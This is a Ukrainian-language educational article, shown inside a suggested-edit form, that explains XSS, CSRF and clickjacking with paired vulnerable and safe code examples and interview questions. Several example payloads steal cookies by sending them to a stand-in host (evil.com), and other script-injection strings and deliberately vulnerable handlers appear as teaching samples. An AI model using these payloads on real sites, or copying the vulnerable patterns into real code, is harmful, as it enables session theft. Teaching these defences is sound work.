Запропонувати правкуПокращити цю статтюДопрацюйте відповідь до «Вразливості браузерів OWASP». Ваші зміни проходять модерацію перед публікацією.Потрібне підтвердженняКонтентЩо ви змінюєте🇺🇸EN🇺🇦UAПереглядЗаголовок (UA)Коротка відповідь (UA)**Вразливості браузерів OWASP** - клієнтські помилки безпеки: XSS впроваджує скрипти через `innerHTML`, CSRF зловживає автоматичним надсиланням cookies, clickjacking використовує прозорі iframe. ```javascript element.innerHTML = userInput; // ВРАЗЛИВО: виконує скрипти element.textContent = userInput; // БЕЗПЕЧНО: без парсингу // Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict ``` **Ключове:** санітизуй вивід у правильному контексті, не тільки ввід на сервері.Показується над повною відповіддю для швидкого нагадування.Відповідь (UA)Зображення**Вразливості браузерів OWASP** - це клієнтські помилки безпеки у веб-додатках, через які зловмисник може вкрасти cookies, захопити сесію або примусити користувача виконати дії, яких той ніколи не планував. ## Теорія ### TL;DR - XSS: зловмисник вставляє `<script>` тег у твій DOM, браузер виконує його з повним доступом до cookies та `localStorage` - CSRF: зловмисник змушує браузер надіслати автентифікований запит до сервера, використовуючи автоматичне прикріплення cookies - Clickjacking: прозорий iframe накладається на справжню кнопку, і клік «отримати приз» потрапляє на «підтвердити переказ» - Виправлення XSS: `textContent` замість `innerHTML`, DOMPurify перед `innerHTML`, CSP з nonce - Виправлення CSRF: `SameSite=Strict` на session cookie, CSRF-токени для форм з крос-доменним доступом ### Швидкий приклад ```html <input id="q" placeholder="Пошук..."> <div id="result"></div> <script> // ВРАЗЛИВО: innerHTML передає рядок HTML-парсеру // Ввід: <img src=x onerror=alert(document.cookie)> // Результат: браузер виконує onerror, cookie вкрадено document.getElementById('q').oninput = (e) => { document.getElementById('result').innerHTML = e.target.value; }; // БЕЗПЕЧНО: textContent повністю обходить парсер // Ввід: <img src=x onerror=alert(document.cookie)> // Результат: буквальний рядок відображається, нічого не виконується document.getElementById('q').oninput = (e) => { document.getElementById('result').textContent = e.target.value; }; </script> ``` `innerHTML` передає значення HTML-парсеру Chrome, який будує DOM-вузли та запускає обробники подій. `textContent` створює звичайний текстовий вузол і не торкається парсера. ### Різновиди XSS **Stored XSS** зберігає payload в базі даних. Коментар, збережений як `<script>fetch('https://evil.com?c='+document.cookie)</script>`, спрацює для кожного користувача, який завантажить сторінку. Це найнебезпечніший різновид, бо він масштабується автоматично. **Reflected XSS** живе в URL. Сервер відображає параметр запиту напряму в HTML без екранування, і браузер виконує його. Класичний приклад: `?q=<script>alert(1)</script>` вставлений у шаблон сторінки без обробки. **DOM-based XSS** ніколи не досягає сервера. Payload знаходиться в хеші URL, і клієнтський JavaScript зчитує `location.hash` та записує в DOM. Оскільки сервер ніколи не бачить `#`, серверна санітизація повністю пропускає цей тип. Захист потрібно будувати на клієнті. ### CSRF: браузер як мимовільний посланець Браузер прикріплює відповідні cookies до кожного запиту, незалежно від того, звідки той надійшов. CSRF цим і користується. Зловмисник розміщує сторінку, яка відправляє POST на `https://yourbank.com/transfer?amount=5000&to=attacker`. Жертва заходить туди в авторизованому стані, і браузер надсилає session cookie без вагань. Атрибут `SameSite=Strict` на session cookie забороняє браузеру надсилати cookies при крос-доменних запитах. Це блокує атаку ще до того, як сервер її побачить. Для API, яким потрібен крос-доменний доступ, поєднуй `SameSite=Lax` з CSRF-токеном: секрет вбудований у форму, перевірений на сервері перед обробкою. ### Clickjacking: що бачиш і що натискаєш Зловмисник завантажує твою сторінку в прозорому iframe, розміщеному точно над кнопкою «отримати приз» на своїй сторінці. Користувач думає, що натискає приз. Насправді він активує «підтвердити переказ» на твоїй. Заголовок `X-Frame-Options: DENY` каже браузерам відмовити у відображенні сторінки всередині будь-якого фрейму. Сучасна заміна - `Content-Security-Policy: frame-ancestors 'none'`, яка дає той самий результат і гнучкіша в налаштуванні. ### Огляд атак | Атака | Точка входу | Що отримує зловмисник | Виправлення | |---|---|---|---| | Stored XSS | База даних | Виконується при кожному завантаженні для всіх користувачів | DOMPurify, `textContent`, CSP | | Reflected XSS | Параметр URL | Виконується коли жертва клікає посилання зловмисника | Серверне екранування, CSP | | DOM-based XSS | Хеш URL | Виконується на клієнті, сервер не бачить | Клієнтська санітизація, `textContent` | | CSRF | Крос-доменна форма або fetch | Виконує дії від імені авторизованого користувача | `SameSite=Strict`, CSRF-токени | | Clickjacking | Накладання iframe | Жертва клікає не те, що думає | `X-Frame-Options`, `frame-ancestors` | | MITM | Мережевий трафік | Читає або змінює весь трафік | HTTPS, HSTS | | SQL-ін'єкція | Рядки запитів | Читання, запис або видалення з БД | Параметризовані запити, ORM | ### Коли застосовувати який захист - Текст користувача рендериться як HTML → `DOMPurify.sanitize()` перед `innerHTML`; або переходь на `textContent` якщо форматування не потрібне - Endpoint-и, що змінюють стан (POST, PUT, DELETE) → `SameSite=Strict` cookie плюс серверний CSRF-токен - Сторонні скрипти або реклама → CSP з білим списком доменів і nonce для кожного запиту - Будь-яка сторінка, яку можна вставити в iframe → `X-Frame-Options: DENY` або `Content-Security-Policy: frame-ancestors 'none'` - npm-залежності → `npm audit` у CI; замінюй пакети з відкритими CVE ### Як браузер обробляє впроваджену розмітку HTML-парсер Chrome читає документ зліва направо і будує DOM-дерево вузол за вузлом. Коли він знаходить неекранований тег `<script>` або атрибут події на зразок `onerror`, він ставить JavaScript у чергу event loop. Цей скрипт виконується всередині контексту виконання сторінки з повним доступом до `document.cookie`, `window.localStorage` і кожного DOM-елемента. Same-Origin Policy (правило однакового походження) блокує крос-доменне читання, але скрипт, що вже виконується всередині твого origin, не має таких обмежень. Ось і вся модель загрози. ### Типові помилки **Санітизація на сервері, вставка сирого HTML на клієнті.** Сервер відправляє `<script>`, клієнт виконує `element.innerHTML = data`. HTML-парсер декодує `<` назад у `<` і виконує тег. Серверне екранування працює лише якщо ти також використовуєш `textContent` на клієнті або пропускаєш дані через DOMPurify перед зверненням до `innerHTML`. ```javascript // Помилка: сервер екранує, клієнт розекрановує const safeFromServer = '<script>alert(1)</script>'; element.innerHTML = safeFromServer; // Браузер перепарсить, скрипт спрацює // Виправлення element.textContent = safeFromServer; // Буквальний текст, нічого не виконується ``` **CSP з `unsafe-inline`.** Додавання `script-src 'unsafe-inline'` до Content Security Policy перетворює весь заголовок на формальність. Вбудовані блоки `<script>` все одно виконуються. Замість цього використовуй nonce: ```html <!-- Сервер генерує новий nonce для кожного запиту --> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-rAnd0m123'"> <!-- Виконуються лише скрипти з цим точним nonce --> <script nonce="rAnd0m123"> // легітимний код </script> ``` **Забуття DOM-based XSS з URL-фрагментів.** `#<img src=x onerror=alert(1)>` повністю обходить сервер, бо хеш ніколи не надсилається в HTTP-запитах. Якщо код зчитує `location.hash` і записує в DOM, санітизація обов'язкова на клієнті: ```javascript // Вразливо const payload = location.hash.slice(1); document.getElementById('content').innerHTML = payload; // Безпечно import DOMPurify from 'dompurify'; const payload = decodeURIComponent(location.hash.slice(1)); document.getElementById('content').innerHTML = DOMPurify.sanitize(payload); ``` **`HttpOnly` без `Secure`.** `HttpOnly` забороняє JavaScript читати cookies. Але через звичайний HTTP MITM-атака все одно може їх перехопити. Повна комбінація: ``` Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict ``` **Відсутність CSRF-захисту на endpoint-ах, що змінюють стан.** GET-запити не повинні змінювати стан. POST, PUT та DELETE потребують або `SameSite=Strict` cookie, або серверно-перевіреного CSRF-токена. Перевірка лише заголовка `Referer` не є надійною, бо проксі та privacy-інструменти його видаляють. ### Де це зустрічається в реальних проектах - React: `dangerouslySetInnerHTML` лише з `DOMPurify.sanitize(text)`, поширено в Markdown-рендерерах для блог-платформ - Express: middleware `helmet` налаштовує CSP, `X-Frame-Options`, HSTS та інші заголовки безпеки одним викликом - Angular: автоматично екранує прив'язки в шаблонах; `DomSanitizer.bypassSecurityTrustHtml()` у code review - привід зупинитися - Vue: `v-html` несе ті самі ризики що й `dangerouslySetInnerHTML`; санітизуй перед передачею значення - CI/CD: OWASP ZAP можна додати до pipeline для автоматичного сканування на XSS та ін'єкції при кожному деплої ### Питання на співбесіді **Q:** Яка різниця між Stored, Reflected та DOM-based XSS? **A:** Stored зберігається в базі даних і спрацьовує для кожного відвідувача. Reflected потребує від жертви кліку по спеціально підготовленому URL. DOM-based ніколи не досягає сервера - payload знаходиться в хеші URL, і клієнтський JS записує його в DOM. **Q:** Як CSP знижує ризик XSS? **A:** CSP задає білий список джерел, з яких браузер може завантажувати скрипти. `script-src 'self'` блокує все, що не з твого origin, включаючи вбудовані теги та `eval`. Nonce прив'язує кожен дозволений вбудований скрипт до випадкового значення, згенерованого сервером на кожен запит. Навіть якщо зловмисник вставить `<script>` тег, без дійсного nonce браузер відмовить у виконанні. **Q:** Як захиститись від CSRF без токенів? **A:** `SameSite=Strict` cookies взагалі забороняють браузеру надсилати облікові дані при крос-доменних запитах. Власний заголовок на зразок `X-Requested-With: XMLHttpRequest` також допомагає, бо прості крос-доменні форми не можуть встановлювати власні заголовки без CORS preflight. **Q:** Що захищає від clickjacking якщо CSP не налаштовано? **A:** `X-Frame-Options: DENY` - запасний варіант. Він каже браузерам відмовити у завантаженні сторінки всередині будь-якого iframe. `SAMEORIGIN` дозволяє фреймінг лише з того ж домену. Директива CSP `frame-ancestors` - сучасна заміна з більш гнучкими правилами. **Q:** Кандидат каже «санітизуй введення для захисту від XSS». Що додає senior-рівень? **A:** Контекстно-залежне екранування. Один і той самий рядок потребує різної обробки залежно від місця призначення: тіло HTML, значення атрибута, JavaScript-рядок, параметр URL або CSS-властивість. Payload безпечний в одному контексті може бути небезпечним в іншому. DOMPurify обробляє це коректно; ручний regex - майже ніколи. **Q:** Спроектуй систему коментарів з підтримкою Markdown та emoji, захищену від XSS. **A:** Парс Markdown на сервері за допомогою бібліотеки на зразок markdown-it з налаштуванням видалення сирих HTML-тегів. Відправляй отриманий HTML клієнту. На клієнті пропускай через DOMPurify перед вставкою в DOM. Роздавай сторінки з CSP на основі nonce без `unsafe-inline`. Обмежуй частоту публікацій і логуй payload-и, що спрацювали санітизатор, для подальшої перевірки. ## Приклади ### XSS: вразливий та безпечний пошук ```html <!DOCTYPE html> <html> <body> <input id="search" placeholder="Пошук..."> <div id="result"></div> <script> const result = document.getElementById('result'); const input = document.getElementById('search'); // ВРАЗЛИВО: HTML-парсер будує справжні вузли з рядка // Спробуй: <img src=x onerror=alert(document.cookie)> // Результат: onerror спрацьовує, cookie витікає input.oninput = (e) => { result.innerHTML = e.target.value; }; // БЕЗПЕЧНО: лише текстовий вузол, без парсингу // Спробуй: <img src=x onerror=alert(document.cookie)> // Результат: буквальний рядок відображається, нічого не виконується input.oninput = (e) => { result.textContent = e.target.value; }; </script> </body> </html> ``` Головна відмінність: `innerHTML` просить HTML-парсер інтерпретувати рядок. `textContent` створює текстовий вузол напряму. Один шлях веде до виконання коду, інший - ні. ### React: коментарі з rich text в продакшені ```jsx import DOMPurify from 'dompurify'; // npm install dompurify // ВРАЗЛИВО: HTML під контролем користувача рендериться без санітизації function CommentList({ comments }) { return ( <ul> {comments.map(c => ( <li key={c.id} dangerouslySetInnerHTML={{ __html: c.text }} // c.text з БД: '<img src=x onerror=fetch("https://evil.com?c="+document.cookie)>' // Кожен відвідувач передає свій session cookie зловмиснику /> ))} </ul> ); } // БЕЗПЕЧНО: DOMPurify видаляє обробники подій та небезпечні атрибути function SafeCommentList({ comments }) { return ( <ul> {comments.map(c => ( <li key={c.id} dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(c.text) }} // onerror, onclick, javascript: URL видалені перед рендером // Безпечний HTML як <strong> або <em> проходить нормально /> ))} </ul> ); } ``` Назва `dangerouslySetInnerHTML` обрана навмисно. React хоче, щоб ти зупинився і подумав. Якщо контент надходить від користувачів або ненадійного API, між даними і prop обов'язково стоїть DOMPurify. В моїй практиці більшість XSS-багів у React-додатках з'являється не при першому написанні, а через кілька місяців, коли хтось додає `innerHTML` у новому компоненті не перевіривши, чи санітизація вже є десь у ланцюгу. ### Просунутий приклад: JSONP endpoint як вектор XSS ```javascript // Express handler - ВРАЗЛИВИЙ // Зловмисник викликає: GET /api/data?callback=alert(document.cookie)// app.get('/api/data', (req, res) => { const callback = req.query.callback; res.setHeader('Content-Type', 'application/javascript'); // Виводить: alert(document.cookie)//({data:'safe'}); // Браузер завантажує це як тег <script> і виконує res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`); }); // БЕЗПЕЧНИЙ: білий список дозволених назв callback const ALLOWED_CALLBACKS = new Set(['onDataLoaded', 'handleResult']); app.get('/api/data', (req, res) => { const callback = req.query.callback; if (!ALLOWED_CALLBACKS.has(callback)) { return res.status(400).json({ error: 'Невалідна назва callback' }); } res.setHeader('Content-Type', 'application/javascript'); res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`); }); ``` JSONP - здебільшого застарілий патерн, замінений CORS, але він досі зустрічається в кодових базах, що не оновлювались з 2015 року. Параметр callback - це прямий шлях до виконання коду, якщо ти відображаєш його без перевірки. Білий список вирішує проблему. Якщо ти контролюєш і клієнт, і сервер, відмовся від JSONP повністю та налаштуй CORS належним чином.Для рев’юераПримітка для модератора (необов’язково)Бачить лише модератор. Прискорює рев’ю.